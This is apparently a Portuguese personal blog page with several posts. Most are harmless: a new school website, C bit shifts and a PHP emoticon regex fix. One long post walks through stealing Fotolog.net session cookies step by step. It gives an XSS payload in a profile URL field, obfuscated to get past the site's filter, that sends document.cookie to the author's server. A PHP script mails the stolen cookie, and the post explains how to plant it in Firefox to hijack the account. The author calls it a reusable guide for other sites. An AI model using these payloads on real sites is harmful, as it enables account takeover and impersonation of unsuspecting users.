Novo site do Colégio!

Publiquei hoje o novo site do Colégio Salesiano Itajaí, um site totalmente administrável (até o título pode ser mudado via formulários) que usa a linguagem PHP e o banco de dados MySql. O site também segue os padrões web, mesmo com formulários rich text que às vezes deixam o site pouco semântico (é que os monitores do Colégio devem poder atualizar) e está disponível em: salesianoitajai.g12.br.

A notícia de estréia da página está disponível aqui e conta com um lindo screenshot do meu Fluxbox com Mrxvt e o Vim com três splits. Embora o site já esteja publicado, ainda tenho que arrumar alguns detalhes como por exemplo o Sitemap que eu cito nesta notícia.

Uma coisa bem legal que eu coloquei no site foi um JavaScript, usando a função addGlobalStyle do Dive into Greasemonkey, que nos Mozillas (ereg(“Gecko/”, $\SERVER[“HTTP_USER_AGENT”]))_ faz o site ficar maior se o usuário usar uma resolução igual ou maior a 1024×768. Dá pra fazer pra todos os navegadores, mas eu sou meio newbie em JavaScript e por isso só usei esse código do Greasemonkey, que só funciona nos Mozillas mesmo… Mas o resultado ficou ótimo! :)

Ontem o Sr. Paulo Matias me ensinou como trabalhar com operadores bit-a-bit no C. Achei muito massa! Agora comecei até a economizar fazendo:

numero = outronumero << 1;

… ao invés de simplesmente:

numero = outronumero * 2;

… para meus programas serem mais rápidos! Hehehe :D Fiz uma função que converte de decimal para binário, e depois vou postar aqui.

Observação: Tenho que descobrir porque os emoticons não funcionam quando tem código... Quer dizer, descobrir eu já descobri, mas preciso ver como eu faço pra resolver de forma boa essas expressões regulares...

Editado!

Corrigi o problema… Confira abaixo o novo trecho de ERs da função de emoticons, onde $o é o vetor de origem (com as carinhas originais), $d é o vetor de desgino (com o <img src…) e replace() é uma função que eu criei para substituir os emoticons:

<?php
if (!ereg("<code", $texto)) {
	$texto=replace($o, $d, $texto);
} else {
	preg_match_all("/</code>(.+)<code/sU", $texto, $mat1);
	for ($i=0; $i<sizeof($mat1[1]); $i++) {
		$texto=str_replace($mat1[1][$i], replace($o, $d, $mat1[1][$i]), $texto);
	}
	preg_match("/^(.+)<code/sU", $texto, $mat2);
	$texto=str_replace($mat2[1], replace($o, $d, $mat2[1]), $texto);
	$rev=strrev($texto); //Tenho medo do PHP5.0.5
	preg_match("/^(.+)>edoc/</sU", $rev, $mat3); //Nossa, que código louco!
	$rev=strrev($mat3[1]); //Repito... Tenho medo do PHP5.0.5
	$texto=str_replace($rev, replace($o, $d, $rev), $texto);
}
?>

Ficou feio, né? Não consegui pensar em outra coisa mais fácil que usar o strrev() ali… :blink:

Falha no Fotolog.net

Segue a descrição de como descobri que consigo pegar o cookie do Fotolog.net de qualquer pessoa que entra no meu profile, e com isso, poder:

  • Adicionar comentários em qualquer fotolog como a pessoa
  • Remover comentários do fotolog da pessoa
  • Adicionar/remover FF list
  • Ver e-mail de cadastro da pessoa

[update] Parece que isso não funciona mais hoje. De qualquer maneira, é um bom guia (acho que tá bem detalhado) para roubar cookies de vários outros sitemas que tenham falhas como esta (e não são poucos). [/update]

Nos últimos dias, alguém pegou a senha do Fotolog.net de um amigo meu e ele me pediu para que eu tentasse recuperar. Não consegui descobrir senha. Porém, usando furos do Fotolog.net e do Internet Explorer, descobri que consigo estar loggado com qualquer usuário que entre no meu perfil! Já que é preciso escrever a senha em cada página do Fotolog.net (upload, mudar profile, etc.) a única coisa que posso fazer loggado como a pessoa é escrever comentários, mas mesmo assim já é uma coisa estranha que merece a atenção do administrador do Fotolog.net (para o qual irei enviar um e-mail). Irei postar um “passo-a-passo” de como pegar o cookie de login do Fotolog.net e com isto, loggar como a pessoa que perdeu esse cookie.

O cookie do Fotolog.net dura mais de um ano… Isso é um problema grave de segurança, mas não é utilizando esta falha que faço tudo. O que eu fiz foi um JavaScript dentro de um CSS redirecionar para uma página PHP com função mail que me envia a função document.cookie do JavaScript que roda no cliente na página do Fotolog.net! É um pouco difícil de explicar, mas não tão complicado. Meu objetivo postando aqui não é incentivar que as pessoas façam isso (eu só fiz comigo mesmo testando), mas incentivar os que possuem conta no Fotolog.net usarem browsers decentes (como Firefox ou Opera) ou não clicar em profiles de estranhos. Tenho certeza de que hackers de verdade não usarão isto para o mal, mas sim para fins de aprendizagem, como eu fiz; mas parece que vários newbies por aí se acham e se acharão o máximo postando comentários como outras pessoas com a minha “receita de bolo”! Por esses, preciso lamentar e mandar ler a definição de hacker no Jargon File.

A primeira barreira que tive que ultrapassar foi que só 500 brasileiros por dia podem se registrar no Fotolog.net! Bom… Eu tava ansioso pra tentar fazer isso e já que eu não tinha tempo a perder, entrei no site Public Proxy Servers e usando um proxy high-anonimity do Vietnã me registrei no Fotolog.net… Perfeito! Apareceu que nenhum visitante do Vietnã tinha se cadastrado no dia.

Então, fui até o meu profile e no endereço do meu site eu tentei colocar aspas. Percebi que funcionou, então testei um código de bastante fácil entendimento:

#" style="background:url(javascript:location.href='http://tableless.tiagomadeira.net/foo.php'+escape(document.cookie))

Mas não funcionou porque o Fotolog.net não permite “javascript” na frase. Então após alguns testes cheguei ao:

#" style="background:url(ja       vas       cript:location.href=%27 http://www.tiagomadeira.net/r.php?c=%27       +escape(document.cookie))

OBS.: Tenho recebido e-mail de pessoas dizendo que o não cabe… O meu também não cabia, mas é só questão de diminuir o endereço.

Este código só funciona porque o Internet Explorer é problemático! Não tem nada a ver um JavaScript dentro de uma url de fundo e ainda ir para este endereço! E o Fotolog.net também tem um bug seríssimo porque não deveria poder se usar aspas no endereço de um site! Daí no meu profile aparece no lugar do endereço da minha página:

<a
  href="#"
  style="background:url(ja       vas       cript:location.href=%27 http://www.tiagomadeira.net/r.php?c=%27       +escape(document.cookie))"
  >#" style="background:url(ja vas cript:location.href=%27
  http://www.tiagomadeira.net/r.php?c=%27 +escape(document.cookie))</a
>

Bom, depois disso basta fazer uma página PHP que passe este valor do c para um banco de dados ou e-mail (no meu caso, preferi por e-mail mesmo). Criei uma página no meu /r.php com:

<?php
$cookie=$_GET["c"];
mail("meu@email", "Presente pra você!", "$cookie");
Header("Location: http://tableless.tiagomadeira.net");
?>

E o último problema que enfrentei então foi colocar este cookie no meu Firefox. Depois de vários testes, descobri que eu podia editar os cookies do meu Firefox. Para isto abri meu >~/.mozilla/firefox/profiles/??????.default/cookies.txt e modifiquei o cookie para o que eu recebi no e-mail. E finalmente loggado!

Vou tentar simplificar o “algoritmo”:

  • A pessoa está loggada (sempre, pois o cookie do fotolog.net é gigantesco) e entra no meu perfil.
  • Meu perfil pega o cookie do Fotolog.net deste computador (que precisa estar usando Internet Explorer) e me envia via a função mail do PHP.
  • Eu troco o cookie do meu Firefox pelo que eu recebi no e-mail e com isto fico loggado como a pessoa!

Interessante, né?

Bom, como já havia dito, isto foi apenas para fins de aprendizagem e descobri tudo isto justamente porque algum lammer pegou a senha de um amigo meu, mas espero que as pessoas aprendam a lição para não se tornarem as vítimas deste “golpe”.

Eu conheço três formas para se tornar resistente a esse golpe:

Bom… É isso aí.

Aprendi muito com isto e por isso compartilho este conhecimento neste post para que outros também possam aprender. Quem puder, divulgue para seus amigos para que eles não sejam vítimas desse tipo de coisa.

© 2005–2020 Tiago Madeira